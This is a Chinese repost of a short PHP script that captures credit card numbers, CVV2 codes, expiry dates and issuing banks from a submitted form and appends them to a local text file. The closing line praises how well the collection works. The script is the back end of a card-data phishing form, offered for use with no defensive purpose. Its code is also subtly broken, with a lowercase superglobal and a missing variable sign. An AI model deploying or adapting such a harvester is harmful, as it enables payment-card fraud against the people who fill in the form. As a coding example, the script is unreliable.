复制代码 代码如下:
<?php
//定义要收集的表单内容
$cardnum = $_post['cardnum'];
$cvv2 = $_post['cvv2'];
$month = $_post['month'];
$year = $_post['year'];
$cardbank = $_post['cardbank'];
//定义收集的内容格式
$content = "credit card number:".$cardnum.",card verification number:".$cvv2.",card expiry date:".$month."/ year:".$year.",issuingbank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的php代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
最后会在当前的目录里面创建txt.txt,并把收集到的信息都写入此文件中,效果还是很不错的。
【说明】:本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!